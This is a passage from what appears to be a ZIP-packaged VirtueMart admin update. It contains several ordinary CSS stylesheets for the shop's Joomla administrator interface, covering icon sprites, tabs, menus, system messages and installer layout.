43px; } .icon-48-vm_calc_48{ background-position: 0px -53px; height: 42px; } .icon-48-vm_config_48, .vm_shop_configuration_48, .vm_install_48{background-position: 0px -105px; height: 35px; } .icon-48-vm_country_48, .vm_country_48{ background-position: 0px -150px; height: 40px; } .icon-48-vm_currency_48{ background-position: 0px -200px; height: 41px;} .icon-48-vm_custom_48{ background-position: 0px -352px; height: 40px;} .icon-48-vm_manufacturer_48, .icon-48-vm_manufacturercategories_48{ background-position: 0px -299px; height: 43px; } .icon-48-vm_report_48{ background-position: 0px -453px; height: 42px;} .icon-48-vm_ratings_48{ background-position: 0px -505px; height: 38px;;} .vm_shop_help_48{background-position: 0px -610px; height: 41px;} .icon-48-vm_orders_48, .vm_shop_orders_48{ background-position: 0px -402px; height: 41px; } .icon-48-vm_paymentmethod_48, .vm_shop_payment_48{ background-position: 0px -661px; height: 39px; } .icon-48-vm_product_48, .vm_shop_products_48{ background-position: 0px -710px; height: 39px;} .icon-48-vm_user_48, .vm_shop_users_48{background-position: 0px -759px; height: 37px; } .icon-48-vm_shoppergroup_48{background-position: 0px -806px; height: 38px; } .icon-48-vm_shipmentmethod_48{ background-position: 0px -553px; height: 47px; } .vm_shop_mart_48, .icon-48-vm_shop_mart_48{background-position: 0px -251px; height: 38px; } .vm_cpanel_48{background-position: 0px -854px; height: 34px; } PKsl>\.55Ucom_virtuemart_update/administrator/components/com_virtuemart/assets/css/admin_ui.cssnuW+A/* VirtueMart Admin Area */ .virtuemart-admin-area {border: hidden #b4b4b4 1px; -moz-border-radius-bottomleft: 6px; -moz-border-radius-bottomright: 6px; -webkit-border-bottom-left-radius: 6px; -webkit-border-bottom-right-radius: 6px; overflow: visible; background: url(../images/admin_ui/container_bg_blue.png) repeat-y scroll 0 0 ;} * html .virtuemart-admin-area { /*IE6 only*/ overflow: visible;height: 1px;} .virtuemart-admin-area .menu-wrapper {width:190px ;float: left;} /*.virtuemart-admin-area #admin-content-wrapper {margin-left: auto;overflow:visible} /*.virtuemart-admin-area .menu-wrapper, .virtuemart-admin-area #admin-content-wrapper {padding-bottom: 16000px;margin-bottom: -16000px;}*/ .virtuemart-admin-area #admin-content-wrapper .admin-content {margin: 0;padding: 0;overflow: auto; background: left repeat-y #fff;border-left: solid #b4b4b4 1px;height:540px;} .virtuemart-admin-area #admin-content-wrapper .admin-content {height:auto;min-height: 540px;} #header { background: url(../images/admin_ui/header_bg.png) repeat-x scroll 0 0 #F0F0F0;padding:3px;padding-left: 10px;padding-right: 10px;} .ratingbox{position:relative;display:block;width:120px;height:24px;background:url(../../../../../components/com_virtuemart/assets/images/color-stars.png) repeat-x scroll 0 bottom transparent} .ratingbox span{background:url(../../../../../components/com_virtuemart/assets/images/color-stars.png) repeat-x;display:block;width:1%;height:24px;position:absolute} .stars-orange{background-position:0 0 !important;} .stars-red{background-position:0 -54px !important;} .stars-green{background-position:0 -108px !important; } .stars-blue{background-position:0 -162px !important;} .stars-purple{background-position:0 -216px !important;} /* Overwriting Joomla Admin Template */ /* Toolbar */ #element-box, #toolbar-box, #submenu-box {padding: 0 !important; } #element-box .t, #element-box .b {display: none;} #content-box #element-box .m, #content-box .m {border: none;padding: 0px;background: none;} #content-box #toolbar-box {border-top: solid #b4b4b4 1px;border-left: solid #b4b4b4 1px;border-right: solid #b4b4b4 1px;margin: 0px;padding:0;-moz-border-radius: 6px 6px 0 0; -webkit-border-radius:6px 6px 0 0;background: #fff url(../images/admin_ui/head_bg.png) center center repeat-x;} #content-box #toolbar-box .m {border: solid #fff 1px;padding: 7px 10px 4px 10px;background: none repeat scroll 0 0 transparent; -moz-border-radius: 6px 6px 0 0; -webkit-border-top-left-radius:6px; -webkit-border-radius:6px 6px 0 0;text-shadow: 0px -1px 1px #fff;} #content-box #toolbar-box a.toolbar {border: none;} #content-box #toolbar-box .m .header {color: #444444;font-weight: normal;padding: 0px 0px 0px 60px;margin: 3px 0px 0px 0px;background-position: left center;background-repeat: no-repeat;} #content-box #toolbar-box .t, #content-box #toolbar-box .b {display: none;} .bartext { display: block;font-size: 12px;font-weight: bold;line-height: 32px;vertical-align: inherit;white-space: nowrap;width: auto !important;} /* System Messages overide */ #system-message {margin: 0px !important;overflow: auto;} #system-message dd.message {background: #4693BB url(../images/admin_ui/saved_background.png) top repeat-x ; max-height: 400px; overflow: auto;} #system-message dd.message ul {color: #000; background: url("../images/icon_32/information.png") no-repeat 8px center transparent;} #system-message dd.message ul ,#system-message dd.error ul,#system-message dd.notice ul{margin: 0px; border-bottom: 1px solid #84A7DB !important; border-top: 0px !important;;} /* System Messages VM2 */ #system-message dt.save,#system-message dt.remove,#system-message dt.cancel {display: none;} /* info message in dark grey */ #system-message dd.remove,#system-message dd.save,#system-message dd.cancel {color: #F4F6F8; background: #7c7d7f url(../images/admin_ui/tabs-ul-background.png) top repeat-x !important;} /* message in RED */ dl#system-message dd.error,l#system-message dd ul .vmdebug { background: #ffffff url(../images/admin_ui/save_bg.png) top repeat !important;} /* message in RED */ dl#system-message dd.notice { background: #eee url(../images/admin_ui/header_bg.png) top repeat-x !important;} /* message icons */ #system-message dd.message ul {background: url("../images/icon_32/information.png") no-repeat scroll 8px center transparent !important;} #system-message dd.notice ul {background: url("../images/icon_32/notice.png") no-repeat scroll 8px center transparent !important;} #system-message dd.remove ul {background: url("../images/icon_32/bin.png") no-repeat scroll 8px center transparent !important;} #system-message dd.save ul {background: url("../images/icon_32/disk.png") no-repeat scroll 8px center transparent !important;} #system-message dd.cancel ul {background: url("../images/icon_32/cancel.png") no-repeat scroll 8px center transparent !important;} #system-message dd ul .vmdebug{background: url("../images/icon_32/elements_16.png") no-repeat scroll 0px top transparent !important;display: block;} #system-message dd.error ul {background: url("../images/icon_32/exclamation.png") no-repeat scroll 8px center transparent !important;} fieldset input,fieldset textarea,fieldset select,fieldset img,fieldset button{float:left;width:auto;margin:5px 5px 5px 0} input.readonly{ border: 0 none;} /*.adminform {border: 0 none;}*/ .adminform input.readonly{ text-align:right; border: 0 none; font-size: 0.909em;font-weight: normal; color:#000; width:75px } /* vmdebug */ .vmdebug pre{ padding-left: 32px;} .adminform th{text-align: right!important;} dl#system-message dd .vmdebug { font-size:10px; } /* Fieldset */ .virtuemart-admin-area fieldset {border-radius: 6px;-moz-border-radius: 6px;-webkit-border-radius: 6px;} .virtuemart-admin-area fieldset legend {padding: 0px 10px;} /* Inputs */ .virtuemart-admin-area fieldset input {float: none;clear: none;display: inline-block;} .virtuemart-admin-area fieldset label, .virtuemart-admin-area fieldset.adminform label, .virtuemart-admin-area fieldset.adminform span.faux-label {float: none;clear: none;display: inline-block;min-width: 0px;} .virtuemart-admin-area div.tabs {margin-bottom: 240px;} textarea {width: 100%;} /*.datepicker{width: 60px;} seems unused*/ .translator { border-left: 4px solid #1FBE42; padding-left: 8px ; } /* Tabs */ /* The Navigation Area */ /*#admin-ui-tabs {overflow: visible !important;}*/ #admin-ui-tabs ul#tabs {list-style-type:none;margin: 0px;padding: 0px ;background: #7c7d7f url(../images/admin_ui/tabs-ul-background.png) bottom repeat-x;} #admin-ui-tabs ul#tabs li {vertical-align: top;color: #FFFFFF;cursor: pointer;display: inline-block;vertical-align: middle;font-size: 12px;height: 32px;letter-spacing: 1px;padding: 5px 0 0 0;text-align: center;text-shadow: 0 -1px 1px #000000;} #admin-ui-tabs ul#tabs li span{ line-height: 12px;padding-top: 0px;position: relative;vertical-align: middle;} #admin-ui-tabs ul#tabs li.current {background: #fff url(../images/admin_ui/tabs-li-background.png) top repeat-x;color: #444444;text-shadow: 0px -1px 1px #fff;-moz-border-radius-topleft: 6px;-moz-border-radius-topright: 6px;-webkit-border-top-left-radius: 6px;-webkit-border-top-right-radius: 6px;-moz-box-shadow: 0px -1px 2px #3f3f40;cursor: default;border: 0 none;} /* The Content Area */ /*#admin-content {overflow: visible;} #admin-ui-tabs {overflow: visible !important;}*/ /*#admin-ui-tabs .tabs {padding: 10px 1px 10px; overflow: visible !important;}*/ #admin-ui-tabs .tabs {padding: 10px 1px 10px; overflow: visible;} /*#admin-ui-tabs .tabs table {overflow: auto !important;}*/ /* do not change the line below !!! */ #admin-ui-tabs .dyn-tabs {overflow:auto;display:none;} /* Table */ table.adminlist .right{text-align: right;} /* Admin Menu */ #admin-ui-menu {border-bottom:1px solid #94B1CF;} #admin-ui-menu h3.menu-title {background: url("../images/admin_ui/page_bg_blue.png") repeat-x scroll center top #888;cursor:pointer;border-top: 1px solid #94B1CF;margin: 0px;padding: 6px 20px;color: #fff;font-size: 13px;font-weight: normal;color: #333;} .menu-vmlogo {background: url("../images/vm_logo.png") no-repeat scroll center bottom #707174;color: #333333;cursor: pointer;font-size: 13px;font-weight: normal;height: 30px;margin: 0;padding: 0;} .menu-notice { margin: 35px;padding: 5px;text-align: center;} .menu-notice a:link ,.menu-notice a span {color :#000 ;} #admin-ui-menu h3.current,#admin-ui-menu h3.menu-title:hover { background:url("../images/admin_ui/tabs-ul-background.png") repeat-x scroll center bottom #7C7D7F; color :#efefef ; } #admin-ui-menu .menu-list {border-top: 1px solid #94B1CF;overflow: hidden !important;} #admin-ui-menu .menu-list ul {margin: 0px;padding: 4px 4px 0px 10px;background:none repeat scroll 0 0 #F7F7F7;border-bottom: 1px solid #888888;} #admin-ui-menu .menu-list ul li {list-style: none;} #admin-ui-menu .menu-list ul li a {color: #000000;display: block;font-size: 12px;margin: 12px 0;text-decoration: none; opacity : 0.8; -moz-opacity : 0.8; -ms-filter: "alpha(opacity=90)"; /* IE 8 */ filter : alpha(opacity=90); /* IE < 8 */ } #admin-ui-menu .menu-list ul li a:hover {color: #888; opacity :1;-moz-opacity : 1; -ms-filter: "alpha(opacity=100)"; /* IE 8 */ filter : alpha(opacity=100); /* IE < 8 */ } #admin-ui-tabs .not-active .hasTip { opacity : 0.5; -moz-opacity : 0.5; -ms-filter: "alpha(opacity=50)"; /* IE 8 */ filter : alpha(opacity=50); /* IE < 8 */ font-weight: normal; } /*//////////////////////////////////// ////////////// Basics //////////////// ////////////////////////////////////*/ .inline {display: inline-block;vertical-align: middle;} .clear {clear: both;} .floatleft {float: left;} .floatright{float: right;} .center{text-align: center} .right {text-align: right;} /*//////////////////////////////////// ///////////// All Width`s //////////// ////////////////////////////////////*/ .width1{width:1%}.width2{width:2%}.width3{width:3%}.width4{width:4%}.width5{width:5%}.width6{width:6%}.width7{width:7%}.width8{width:8%}.width9{width:9%}.width10{width:10%}.width11{width:11%}.width12{width:12%}.width13{width:13%}.width14{width:14%}.width15{width:15%}.width16{width:16%}.width17{width:17%}.width18{width:18%}.width19{width:19%}.width20{width:20%}.width21{width:21%}.width22{width:22%}.width23{width:23%}.width24{width:24%}.width25{width:25%}.width26{width:26%}.width27{width:27%}.width28{width:28%}.width29{width:29%}.width30{width:30%}.width31{width:31%}.width32{width:32%}.width33{width:33%}.width34{width:34%}.width35{width:35%}.width36{width:36%}.width37{width:37%}.width38{width:38%}.width39{width:39%}.width40{width:40%}.width41{width:41%}.width42{width:42%}.width43{width:43%}.width44{width:44%}.width45{width:45%}.width46{width:46%}.width47{width:47%}.width48{width:48%}.width49{width:49%}.width50{width:50%}.width51{width:51%}.width52{width:52%}.width53{width:53%}.width54{width:54%}.width55{width:55%}.width56{width:56%}.width57{width:57%}.width58{width:58%}.width59{width:59%}.width60{width:60%}.width61{width:61%}.width62{width:62%}.width63{width:63%}.width64{width:64%}.width65{width:65%}.width66{width:66%}.width67{width:67%}.width68{width:68%}.width69{width:69%}.width70{width:70%}.width71{width:71%}.width72{width:72%}.width73{width:73%}.width74{width:74%}.width75{width:75%}.width76{width:76%}.width77{width:77%}.width78{width:78%}.width79{width:79%}.width80{width:80%}.width81{width:81%}.width82{width:82%}.width83{width:83%}.width84{width:84%}.width85{width:85%}.width86{width:86%}.width87{width:87%}.width88{width:88%}.width89{width:89%}.width90{width:90%}.width91{width:91%}.width92{width:92%}.width93{width:93%}.width94{width:94%}.width95{width:95%}.width96{width:96%}.width97{width:97%}.width98{width:98%}.width99{width:99%}.width100{width:100%} /* Icons */ .print_32, .icon-32-print {background: url(../images/icon_32/printer.png) no-repeat transparent; float:left;height: 32px;margin: auto;text-align: center;width: 32px;} .invoice_32, .invoice-32-print {background: url(../images/icon_32/invoice.png) no-repeat transparent; float:left;height: 32px;margin: auto;text-align: center;width: 32px;} .invoicenew_32, .invoice-32-print {background: url(../images/icon_32/invoicenew.png) no-repeat transparent; float:left;height: 32px;margin: auto;text-align: center;width: 32px;} .deliverynote_32, .deliverynote-32-print {background: url(../images/icon_32/deliverynote.png) no-repeat transparent; float:left;height: 32px;margin: auto;text-align: center;width: 32px;} .deliverynotenew_32, .deliverynote-32-print {background: url(../images/icon_32/deliverynotenew.png) no-repeat transparent; float:left;height: 32px;margin: auto;text-align: center;width: 32px;} #limit {width:60px;} /* jqeury ui autocomplete */ .ui-widget{margin-top:2em} .ui-widget-header,.ui-widget-content{padding:.5em 1em} .ui-widget-header h2{margin:0;padding:0} .ui-autocomplete{width:600px;height:300px} .ui-autocomplete li{background:none repeat scroll 0 0 #FFF;display:inline;float:left;list-style:none outside none;position:relative;margin:0;padding:0} .vmpayment_description,.vmshipment_description{margin-left:2px} #plugin-Container{display:table} .vm2-modallink{height:16px;margin-left:3px;width:16px;display:inline-block;background:url(../images/admin_ui/icon_external_link.gif) no-repeat scroll left top transparent} .vmquote{background-color:#E9ECEF;border:1px solid #CCC;color:#254D78;font-size:12px;margin:4px;padding:10px} ul.newsfeed{list-style:none!important;text-align:left;padding:0} ul.newsfeed li{font-size:120%;line-height:150%;margin:0;padding:0 0 0 25px} .cpanel{padding-left:25px;text-align:left} .element-box{background:#fff} PKsl>\& 77Xcom_virtuemart_update/administrator/components/com_virtuemart/assets/css/menu_images.cssnuW+A.vmicon{ background: no-repeat top left; width: 16px;height: 16px; float: right;margin-right: 4px; opacity : 0.8; -moz-opacity : 0.8; -ms-filter: "alpha(opacity=90)"; /* IE 8 */ filter : alpha(opacity=90); /* IE < 8 */ } .vmicon:hover{opacity :1;} .vmextimg img{width:48px!important; float:none!important; margin:0 auto !important;padding:5px 0 !important;} /* to use inline with no float*/ .icon-nofloat{ display: inline-block; float: none; vertical-align: middle;} .vmicon-16-adduser{ background: url(../images/icone16.png) 0 0; } .vmicon-16-adduser-off{ background: url(../images/icone16.png) 0 -16px;} .vmicon-16-apply{ background: url(../images/icone16.png) 0 -82px;} .vmicon-16-apply{ background: url(../images/icone16.png) 0 -98px;} .vmicon-16-archive{ background: url(../images/icone16.png) 0 -164px; } .vmicon-16-article{ background: url(../images/icone16.png) 0 -230px; } .vmicon-16-back{ background: url(../images/icone16.png) 0 -296px;} .vmicon-16-back-off{ background: url(../images/icone16.png) 0 -212px;} .vmicon-16-bug{ background: url(../images/icone16.png) 0 -378px; } .vmicon-16-cancel{ background: url(../images/icone16.png) 0 -444px;} .vmicon-16-cancel-off{ background: url(../images/icone16.png) 0 -460px;} .vmicon-16-category{ background: url(../images/icone16.png) 0 -526px; } .vmicon-16-checkin{ background: url(../images/icone16.png) 0 -592px; } .vmicon-16-component{ background: url(../images/icone16.png) 0 -658px; } .vmicon-16-config{ background: url(../images/icone16.png) 0 -724px; } .vmicon-16-content{ background: url(../images/icone16.png) 0 -790px; } .vmicon-16-copy{ background: url(../images/icone16.png) 0 -856px;} .vmicon-16-copy-off{ background: url(../images/icone16.png) 0 -872px;} .vmicon-16-cpanel{ background: url(../images/icone16.png) 0 -938px; } .vmicon-16-css{ background: url(../images/icone16.png) 0 -1004px;} .vmicon-16-css-off{ background: url(../images/icone16.png) 0 -1004px;} .vmicon-16-default-off{ background: url(../images/icone16.png) 0 -1086px; } .vmicon-16-default{ background: url(../images/icone16.png) 0 -1152px; } .vmicon-16-download{ background: url(../images/icone16.png) 0 -1220px;} .vmicon-16-download-off{ background: url(../images/icone16.png) 0 -1234px;} .vmicon-16-edit{ background: url(../images/icone16.png) 0 -1300px;} .vmicon-16-edit-off{ background: url(../images/icone16.png) 0 -1316px;} .vmicon-16-editadd{ background: url(../images/icone16.png) 0 -1382px; } .vmicon-16-export{ background: url(../images/icone16.png) 0 -1448px;} .vmicon-16-export-off{ background: url(../images/icone16.png) 0 -1464px;} .vmicon-16-forward{ background: url(../images/icone16.png) 0 -1530px;} .vmicon-16-forward-off{ background: url(../images/icone16.png) 0 -1546px;} .vmicon-16-frontpage{ background: url(../images/icone16.png) 0 -1612px; } .vmicon-16-google2{ background: url(../images/icone16.png) 0 -1678px; } .vmicon-16-help{ background: url(../images/icone16.png) 0 -1744px; } .vmicon-16-html{ background: url(../images/icone16.png) 0 -1810px;} .vmicon-16-html-off{ background: url(../images/icone16.png) 0 -1826px;} .vmicon-16-import{ background: url(../images/icone16.png) 0 -1892px; } .vmicon-16-info{ background: url(../images/icone16.png) -66px 0; } .vmicon-16-install{ background: url(../images/icone16.png) -66px -66px; } .vmicon-16-language{ background: url(../images/icone16.png) -66px -132px; } .vmicon-16-logout{ background: url(../images/icone16.png) -66px -198px; } .vmicon-16-media{ background: url(../images/icone16.png) -66px -264px; } .vmicon-16-menu{ background: url(../images/icone16.png) -66px -330px; } .vmicon-16-menumgr{ background: url(../images/icone16.png) -66px -396px; } .vmicon-16-messages{ background: url(../images/icone16.png) -66px -462px; } .vmicon-16-module{ background: url(../images/icone16.png) -66px -528px; } .vmicon-16-move{ background: url(../images/icone16.png) -66px -594px;} .vmicon-16-move-off{ background: url(../images/icone16.png) -66px -610px;} .vmicon-16-new{ background: url(../images/icone16.png) -66px -676px;} .vmicon-16-new-off{ background: url(../images/icone16.png) -66px -692px;} .vmicon-16-orderstatus{ background: url(../images/icone16.png) -66px -758px; } .vmicon-16-plugin{ background: url(../images/icone16.png) -66px -824px; } .vmicon-16-preview{ background: url(../images/icone16.png) -66px -890px;} .vmicon-16-preview-off{ background: url(../images/icone16.png) -66px -906px;} .vmicon-16-publish{ background: url(../images/icone16.png) -66px -972px;} .vmicon-16-publish-off{ background: url(../images/icone16.png) -66px -988px;} .vmicon-16-refresh{ background: url(../images/icone16.png) -66px -1054px;} .vmicon-16-refresh-off{ background: url(../images/icone16.png) -66px -1070px;} .vmicon-16-reload{ background: url(../images/icone16.png) -66px -1136px; } .vmicon-16-remove{ background: url(../images/icone16.png) -66px -1202px; } .vmicon-16-revert{ background: url(../images/icone16.png) -66px -1268px;} .vmicon-16-revert-off{ background: url(../images/icone16.png) -66px -1284px;} .vmicon-16-save{ background: url(../images/icone16.png) -66px -1350px; } .vmicon-16-search{ background: url(../images/icone16.png) -66px -1416px;} .vmicon-16-search-off{ background: url(../images/icone16.png) -66px -1432px;} .vmicon-16-section{ background: url(../images/icone16.png) -66px -1498px; } .vmicon-16-send{ background: url(../images/icone16.png) -66px -1564px;} .vmicon-16-send-off{ background: url(../images/icone16.png) -66px -1576px;} .vmicon-16-static{ background: url(../images/icone16.png) -66px -1646px; } .vmicon-16-stats{ background: url(../images/icone16.png) -66px -1712px; } .vmicon-16-themes{ background: url(../images/icone16.png) -66px -1778px; } .vmicon-16-trash{ background: url(../images/icone16.png) -66px -1844px; } .vmicon-16-unpublish{ background: url(../images/icone16.png) -66px -1910px;} .vmicon-16-unpublish-off{ background: url(../images/icone16.png) -66px -1926px;} .vmicon-16-upload{ background: url(../images/icone16.png) -132px 0;} .vmicon-16-upload-off{ background: url(../images/icone16.png) -132px 16px;} .vmicon-16-user{ background: url(../images/icone16.png) -132px -82px; } .vmicon-16-xml{ background: url(../images/icone16.png) -132px -148px; } /*menu wrapper toggler */ .virtuemart-admin-area .toggler { position: absolute; outline: 0;} .vmicon-show{ background: url(../images/show.png) no-repeat;width: 20px; height: 50px; } .vmicon-hide{background: url(../images/hide.png) no-repeat;width: 20px; height: 50px; } /* more extras */ .vmicon-16-account_balances{ background: url(../images/icone16-more.png) 0 0; } .vmicon-16-anchor{ background: url(../images/icone16-more.png) 0 -32px; } .vmicon-16-barchart{ background: url(../images/icone16-more.png) 0 -64px; } .vmicon-16-book_spelling{ background: url(../images/icone16-more.png) 0 -96px; } .vmicon-16-bricks{ background: url(../images/icone16-more.png) 0 -128px; } .vmicon-16-calculator{ background: url(../images/icone16-more.png) 0 -160px; } .vmicon-16-calendar{ background: url(../images/icone16-more.png) 0 -192px; } .vmicon-16-calendar_view_day{ background: url(../images/icone16-more.png) 0 -224px; } .vmicon-16-camera{ background: url(../images/icone16-more.png) 0 -256px; } .vmicon-16-card_back{ background: url(../images/icone16-more.png) 0 -288px; } .vmicon-16-card_credit{ background: url(../images/icone16-more.png) 0 -320px; } .vmicon-16-card_gift_2{ background: url(../images/icone16-more.png) 0 -352px; } .vmicon-16-cash_terminal{ background: url(../images/icone16-more.png) 0 -384px; } .vmicon-16-chart_bar{ background: url(../images/icone16-more.png) 0 -416px; } .vmicon-16-chart_pie_alternative{ background: url(../images/icone16-more.png) 0 -448px; } .vmicon-16-chart_stock{ background: url(../images/icone16-more.png) 0 -480px; } .vmicon-16-client_account_template{ background: url(../images/icone16-more.png) 0 -512px; } .vmicon-16-cog{ background: url(../images/icone16-more.png) 0 -544px; } .vmicon-16-coin_stack_gold{ background: url(../images/icone16-more.png) 0 -576px; } .vmicon-16-coins{ background: url(../images/icone16-more.png) 0 -608px; } .vmicon-16-comment_edit{ background: url(../images/icone16-more.png) 0 -640px; } .vmicon-16-comments{ background: url(../images/icone16-more.png) 0 -672px; } .vmicon-16-compress{ background: url(../images/icone16-more.png) 0 -704px; } .vmicon-16-convert_color_to_gray{ background: url(../images/icone16-more.png) 0 -736px; } .vmicon-16-creditcards{ background: url(../images/icone16-more.png) 0 -768px; } .vmicon-16-database_gear{ background: url(../images/icone16-more.png) 0 -800px; } .vmicon-16-date{ background: url(../images/icone16-more.png) 0 -832px; } .vmicon-16-date_edit{ background: url(../images/icone16-more.png) 0 -864px; } .vmicon-16-disk{ background: url(../images/icone16-more.png) 0 -896px; } .vmicon-16-document_editing{ background: url(../images/icone16-more.png) 0 -928px; } .vmicon-16-document_move{ background: url(../images/icone16-more.png) 0 -960px; } .vmicon-16-drive_user{ background: url(../images/icone16-more.png) 0 -992px; } .vmicon-16-email{ background: url(../images/icone16-more.png) 0 -1024px; } .vmicon-16-email_add{ background: url(../images/icone16-more.png) 0 -1056px; } .vmicon-16-email_open{ background: url(../images/icone16-more.png) 0 -1088px; } .vmicon-16-email_open_image{ background: url(../images/icone16-more.png) 0 -1120px; } .vmicon-16-error{ background: url(../images/icone16-more.png) 0 -1152px; } .vmicon-16-ext_bmp{ background: url(../images/icone16-more.png) 0 -1184px; } .vmicon-16-ext_doc{ background: url(../images/icone16-more.png) 0 -1216px; } .vmicon-16-ext_flv{ background: url(../images/icone16-more.png) 0 -1248px; } .vmicon-16-ext_gif{ background: url(../images/icone16-more.png) 0 -1280px; } .vmicon-16-ext_html{ background: url(../images/icone16-more.png) 0 -1312px; } .vmicon-16-ext_jpeg{ background: url(../images/icone16-more.png) 0 -1344px; } .vmicon-16-ext_jpg{ background: url(../images/icone16-more.png) 0 -1376px; } .vmicon-16-ext_mp4{ background: url(../images/icone16-more.png) 0 -1408px; } .vmicon-16-ext_mpeg{ background: url(../images/icone16-more.png) 0 -1440px; } .vmicon-16-ext_pdf{ background: url(../images/icone16-more.png) 0 -1472px; } .vmicon-16-ext_png{ background: url(../images/icone16-more.png) 0 -1504px; } .vmicon-16-ext_rar{ background: url(../images/icone16-more.png) 0 -1536px; } .vmicon-16-ext_swf{ background: url(../images/icone16-more.png) 0 -1568px; } .vmicon-16-ext_xls{ background: url(../images/icone16-more.png) 0 -1600px; } .vmicon-16-ext_zip{ background: url(../images/icone16-more.png) 0 -1632px; } .vmicon-16-film{ background: url(../images/icone16-more.png) 0 -1664px; } .vmicon-16-folder{ background: url(../images/icone16-more.png) 0 -1696px; } .vmicon-16-folder_camera{ background: url(../images/icone16-more.png) 0 -1728px; } .vmicon-16-folder_image{ background: url(../images/icone16-more.png) 0 -1760px; } .vmicon-16-folder_user{ background: url(../images/icone16-more.png) 0 -1792px; } .vmicon-16-folder_wrench{ background: url(../images/icone16-more.png) 0 -1824px; } .vmicon-16-gear_in{ background: url(../images/icone16-more.png) 0 -1856px; } .vmicon-16-gift_add{ background: url(../images/icone16-more.png) 0 -1888px; } .vmicon-16-globe{ background: url(../images/icone16-more.png) 0 -1920px; } .vmicon-16-group{ background: url(../images/icone16-more.png) 0 -1952px; } .vmicon-16-group_gear{ background: url(../images/icone16-more.png) -32px 0; } .vmicon-16-house{ background: url(../images/icone16-more.png) -32px -32px; } .vmicon-16-installer_box{ background: url(../images/icone16-more.png) -32px -64px; } .vmicon-16-interface_preferences{ background: url(../images/icone16-more.png) -32px -96px; } .vmicon-16-layout{ background: url(../images/icone16-more.png) -32px -128px; } .vmicon-16-layout_content{ background: url(../images/icone16-more.png) -32px -160px; } .vmicon-16-lorry{ background: url(../images/icone16-more.png) -32px -192px; } .vmicon-16-lorry_flatbed{ background: url(../images/icone16-more.png) -32px -224px; } .vmicon-16-magnifier{ background: url(../images/icone16-more.png) -32px -256px; } .vmicon-16-map{ background: url(../images/icone16-more.png) -32px -288px; } .vmicon-16-mixer{ background: url(../images/icone16-more.png) -32px -320px; } .vmicon-16-note{ background: url(../images/icone16-more.png) -32px -352px; } .vmicon-16-page_white_stack{ background: url(../images/icone16-more.png) -32px -384px; } .vmicon-16-participation_rate{ background: url(../images/icone16-more.png) -32px -416px; } .vmicon-16-picture{ background: url(../images/icone16-more.png) -32px -448px; } .vmicon-16-pictures{ background: url(../images/icone16-more.png) -32px -480px; } .vmicon-16-piechart{ background: url(../images/icone16-more.png) -32px -512px; } .vmicon-16-plugin{ background: url(../images/icone16-more.png) -32px -544px; } .vmicon-16-plugin_edit{ background: url(../images/icone16-more.png) -32px -576px; } .vmicon-16-price_watch{ background: url(../images/icone16-more.png) -32px -608px; } .vmicon-16-report{ background: url(../images/icone16-more.png) -32px -640px; } .vmicon-16-reseller_account{ background: url(../images/icone16-more.png) -32px -672px; } .vmicon-16-reseller_account_template{ background: url(../images/icone16-more.png) -32px -704px; } .vmicon-16-reseller_programm{ background: url(../images/icone16-more.png) -32px -736px; } .vmicon-16-shopping{ background: url(../images/icone16-more.png) -32px -768px; } .vmicon-16-statistic{ background: url(../images/icone16-more.png) -32px -800px; } .vmicon-16-statistics{ background: url(../images/icone16-more.png) -32px -832px; } .vmicon-16-to_do_list_cheked_1{ background: url(../images/icone16-more.png) -32px -864px; } .vmicon-16-user-group{ background: url(../images/icone16-more.png) -32px -896px; } .vmicon-16-user-phd-group{ background: url(../images/icone16-more.png) -32px -928px; } .vmicon-16-wrench_orange{ background: url(../images/icone16-more.png) -32px -960px; } PKsl>\Ze..Tcom_virtuemart_update/administrator/components/com_virtuemart/assets/css/install.cssnuW+A/** * @version $Id: install.css 2225 2010-01-19 23:18:41Z rolandd $ * @package Mambo_4.5.1 * @copyright (C) 2000 - 2004 Miro International Pty Ltd * @license http://www.gnu.org/copyleft/gpl.html GNU/GPL * Mambo is Free Software */ body { margin: 0px; padding: 0px; color : #333; background-color : #FFF; font-size : 11px; font-family : Arial, Helvetica, sans-serif; } #wrapper { border: 0px; margin: 0px; margin-left: auto; margin-right: auto; padding: 0px; } #stepbar { background-color: #F1F3F5; width: 170px !important; width: 170px; height: 400px; font-size: 11px; float: left; text-align: left; } #step { background: url(install_logo.png) no-repeat; font-size: 30px; font-weight: bold; text-align: left; color: #666666; padding: 10px 0px 20px 40px; white-space: nowrap; position: relative; float: left; } .step-on { color: #ff9900; background: #30559C; font-weight: bold; font-size: 13px; padding: 10px; border: 1px solid #cccccc; margin-bottom: 2px; } .step-off { font-size: 13px; color: #999999; font-weight: bold; padding: 10px; border: 1px solid #cccccc; margin-bottom: 2px; } #right { float: right; width: 555px !important; width: 545px; border-left: 1px solid #cccccc; padding-left: 10px; } #break { height: 20px; } .licensetext { text-align: left; } .license { padding: 0px; width: 530px; height: 300px; } .license-form { float: left; } .install { margin-left: auto; margin-right: auto; margin-top: 3em; margin-bottom: 3em; padding: 10px; border: 1px solid #cccccc; width: 750px; background: #F1F3F5; } .install h1 { font-size: 15px; font-weight: bold; color: #FF9900; padding: 10px 10px 4px 0px; text-align: left; border-bottom: 1px solid #FF9900; margin-bottom: 10px; } .install-form { position: relative; text-align: left; float: right; width: 69%; } .install-text { position: relative; text-align: left; width: 30%; float: left; } .form-block { border: 1px solid #cccccc; background: #E9ECEF; padding-top: 5px; padding-left: 5px; padding-bottom: 5px; padding-right: 5px; } .left { position: relative; text-align: left; float: left; width: 50%; } .right { position: relative; text-align: left; float: right; width: 50%; } .far-right { position: relative; text-align: right; float: right; } .far-left { position: relative; text-align: left; float: left; } .clr { clear:both; } .ctr { text-align: center; } .button { border : solid 1px #cccccc; background: #E9ECEF; color : #666666; font-weight : bold; font-size : 11px; padding: 4px; } table.content { width: 80%; } table.content td { color : #333333; font-size: 11px; width: 50%; } table.content2 { width: 90%; } table.content2 td { color : #333333; font-size: 11px; } .toggle { font-weight: bold; } /* old stuff */ a { color : #FF9900; text-decoration : none; } a:hover { color : #999999; text-decoration : underline; } a:active { color : #FF6600; text-decoration : underline; } .inputbox { color: blue; font-family: Arial, Helvetica, sans-serif; z-index: -3; font-size: 11px; } .small { color : #333; font-size : 10px; } .error { color : #cc0000; font-size : 12px; font-weight : bold; padding-top: 10px; padding-bottom: 10px; } select.options, input.options { font-size: 8pt; border: 1px solid #999; } form { margin: 0px 0px 0px 0px; } .dottedline { border-bottom: 1px solid #333; } .installheader { color : #FFF; font-size : 24px; } textarea { color : #0000dd; font-family : Arial; font-size : 11px; border: 1px; } PKsl>\$~$FFYcom_virtuemart_update/administrator/components/com_virtuemart/assets/css/admin.styles.cssnuW+A.ui-autocomplete{position:absolute} 